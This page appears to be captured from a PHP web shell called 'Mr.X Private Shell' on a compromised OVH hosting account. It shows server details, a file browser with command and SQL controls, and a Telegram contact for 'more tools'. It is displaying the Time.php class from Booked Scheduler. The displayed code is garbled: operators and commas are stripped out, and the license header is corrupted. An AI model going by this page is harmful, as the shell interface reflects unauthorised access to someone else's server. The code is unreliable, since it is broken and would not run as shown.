Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/booked/lib/Common      ( Reset | Go to )
File Name: Time.php
Edit
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked SchedulerBooked SchedulereIt is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later versBooked SchedulerduleIt is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
alBooked SchedulercheduleIt.  If not, see <http://www.gnu.org/licenses/>.
*/

class Time
{
    private 
$_hour;
    private 
$_minute;
    private 
$_second;
    private 
$_timezone;

    const 
FORMAT_HOUR_MINUTE "H:i";

    public function 
__construct($hour$minute$second null$timezone null)
    {
        
$this->_hour intval($hour);
        
$this->_minute =  intval($minute);
        
$this->_second is_null($second) ? intval($second);
        
$this->_timezone $timezone;

        if (empty(
$timezone))
        {
            
$this->_timezone date_default_timezone_get();
        }
    }

    private function 
GetDate()
    {
        
$parts getdate(strtotime("$this->_hour:$this->_minute:$this->_second"));
        return new 
Date("{$parts['year']}-{$parts['mon']}-{$parts['mday']} $this->_hour:$this->_minute:$this->_second"$this->_timezone);
    }

    
/**
     * @param string $time
     * @param string $timezone, defaults to server timezone if not provided
     * @return Time
     */
    
public static function Parse($time$timezone null)
    {
        
$date = new Date($time$timezone);

        return new 
Time($date->Hour(), $date->Minute(), $date->Second(), $timezone);
    }

    public function 
Hour()
    {
        return 
$this->_hour;
    }

    public function 
Minute()
    {
        return 
$this->_minute;
    }

    public function 
Second()
    {
        return 
$this->_second;
    }

    public function 
Timezone()
    {
        return 
$this->_timezone;
    }

    public function 
Format($format)
    {
        return 
$this->GetDate()->Format($format);
    }

    public function 
ToDatabase()
    {
        return 
$this->Format('H:i:s');
    }

    
/**
     * Compares this time to the one passed in
     * Returns:
     * -1 if this time is less than the passed in time
     * 0 if the times are equal
     * 1 if this time is greater than the passed in time
     * @param Time $time
     * @param Date|null $comparisonDate date to be used for time comparison
     * @return int comparison result
     */
    
public function Compare(Time $time$comparisonDate null)
    {
        if (
$comparisonDate != null)
        {
            
$myDate Date::Create($comparisonDate->Year(), $comparisonDate->Month(), $comparisonDate->Day(), $this->Hour(), $this->Minute(), $this->Second(), $this->Timezone());
            
$otherDate Date::Create($comparisonDate->Year(), $comparisonDate->Month(), $comparisonDate->Day(), $time->Hour(), $time->Minute(), $time->Second(), $time->Timezone());

            return (
$myDate->Compare($otherDate));
        }

        return 
$this->GetDate()->Compare($time->GetDate());
    }

    
/**
     * @param Time $time
     * @param Date|null $comparisonDate date to be used for time comparison
     * @return bool
     */
    
public function Equals(Time $time$comparisonDate null)
    {
        return 
$this->Compare($time$comparisonDate) == 0;
    }

    public function 
ToString()
    {
        return 
sprintf("%02d:%02d:%02d"$this->_hour$this->_minute$this->_second);
    }

    public function 
__toString()
    {
      return 
$this->ToString();
      }
}

class 
NullTime extends Time
{
    public function 
__construct()
    {
        
parent::__construct(000null);
    }

    public function 
ToDatabase()
    {
        return 
null;
    }

    public function 
ToString()
    {
        return 
'';
    }
}
?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL